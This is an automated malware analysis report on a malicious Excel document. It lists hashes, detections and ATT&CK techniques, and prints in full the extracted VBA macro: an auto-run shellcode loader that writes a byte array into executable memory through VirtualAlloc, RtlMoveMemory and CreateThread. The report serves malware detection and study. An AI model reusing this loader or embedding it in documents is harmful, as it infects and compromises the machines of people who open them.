Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2d48fd9fff6de861…

MALICIOUS

Office (OOXML)

14.5 KB Created: 2020-05-12 06:31:06 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 1c361f4754fd8453a59fc5285dc2002c SHA-1: 77a5ce068d205d61123dbd10858e7cf91c962811 SHA-256: 2d48fd9fff6de861ac67b7464b51f9542432015388696dcdc0b3f29fb94b4242
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically triggering AutoOpen and Workbook_Open heuristics. The embedded VBA script utilizes Windows API functions like CreateThread, VirtualAlloc, and RtlMoveMemory, indicating it's designed to allocate memory and execute shellcode. This strongly suggests the macro's purpose is to download and execute a second-stage payload, consistent with a dropper malware.

Heuristics 5

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Oumfcyfp As Long, Wvwvii As Variant, Bgw As Long

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3909 bytes
SHA-256: 68046b9347d23dfa31acdf09fc59281c718cb8108ea4fc53bd448a29b0ff9908
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Tmndl As Long, ByVal Ndvehth As Long, ByVal Dwb As LongPtr, Eypzlzlb As Long, ByVal Ohcrp As Long, Rpvfapbnq As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Vdtkbk As Long, ByVal Ywibg As Long, ByVal Iccvfmpbo As Long, ByVal Vle As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Pfqispr As LongPtr, ByRef Biuko As Any, ByVal Lyndineu As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Tmndl As Long, ByVal Ndvehth As Long, ByVal Dwb As Long, Eypzlzlb As Long, ByVal Ohcrp As Long, Rpvfapbnq As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Vdtkbk As Long, ByVal Ywibg As Long, ByVal Iccvfmpbo As Long, ByVal Vle As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Pfqispr As Long, ByRef Biuko As Any, ByVal Lyndineu As Long) As Long
#End If

Sub Auto_Open()
    Dim Oumfcyfp As Long, Wvwvii As Variant, Bgw As Long
#If VBA7 Then
    Dim Fupoezhz As LongPtr, Pdj As LongPtr
#Else
    Dim Fupoezhz As Long, Pdj As Long
#End If
    Wvwvii = Array(84, 249, 182, 206, 217, 203, 217, 116, 36, 244, 93, 41, 201, 177, 86, 49, 93, 19, 3, 93, 19, 131, 197, 80, 27, 67, 50, 176, 89, 172, 203, 64, 62, 36, 46, 113, 126, 82, 58, 33, 78, 16, 110, 205, 37, 116, 155, 70, 75, 81, 172, 239, 230, 135, 131, 240, 91, 251, 130, 114, 166, 40, 101, 75, 105, 61, 100, 140, 148, 204, 52, 69, 210, 99, 169, 226, 174, 191, 66, 184, _
63, 184, 183, 8, 65, 233, 105, 3, 24, 41, 139, 192, 16, 96, 147, 5, 28, 58, 40, 253, 234, 189, 248, 204, 19, 17, 197, 225, 225, 107, 1, 197, 25, 30, 123, 54, 167, 25, 184, 69, 115, 175, 91, 237, 240, 23, 128, 12, 212, 206, 67, 2, 145, 133, 12, 6, 36, 73, 39, 50, 173, 108, 232, 179, 245, 74, 44, 152, 174, 243, 117, 68, 0, 11, 101, 39, 253, 169, 237, 197, _
234, 195, 175, 129, 223, 233, 79, 81, 72, 121, 35, 99, 215, 209, 171, 207, 144, 255, 44, 70, 182, 255, 227, 224, 215, 1, 4, 16, 241, 197, 80, 64, 105, 239, 216, 11, 105, 16, 13, 161, 99, 134, 159, 251, 139, 156, 136, 1, 116, 53, 206, 140, 146, 101, 128, 222, 10, 198, 112, 158, 250, 174, 154, 17, 36, 206, 164, 248, 77, 101, 75, 84, 37, 18, 242, 253, 189, 131, 251, 40, _
184, 132, 112, 216, 60, 74, 113, 169, 46, 187, 230, 81, 175, 60, 131, 81, 197, 56, 5, 6, 113, 67, 112, 96, 222, 188, 87, 243, 25, 66, 38, 197, 82, 117, 188, 105, 13, 122, 80, 105, 205, 44, 58, 105, 165, 136, 30, 58, 208, 214, 138, 47, 73, 67, 53, 25, 61, 196, 93, 167, 24, 34, 194, 88, 79, 48, 5, 166, 13, 31, 174, 206, 237, 31, 78, 14, 132, 159, 30, 102, _
83, 143, 145, 70, 156, 26, 250, 206, 23, 203, 72, 111, 39, 198, 13, 49, 40, 229, 149, 194, 83, 134, 42, 35, 164, 142, 78, 36, 164, 174, 112, 25, 114, 151, 6, 92, 70, 172, 25, 235, 235, 133, 179, 19, 191, 214, 145)

    Fupoezhz = VirtualAlloc(0, UBound(Wvwvii), &H1000, &H40)
    For Bgw = LBound(Wvwvii) To UBound(Wvwvii)
        Oumfcyfp = Wvwvii(Bgw)
        Pdj = RtlMoveMemory(Fupoezhz + Bgw, Oumfcyfp, 1)
    Next Bgw
    Pdj = CreateThread(0, 0, Fupoezhz, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: aa04570238d0e17eb01a26c1fc2253b8dd8b89e182d7970e57074189e32e7e7e
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.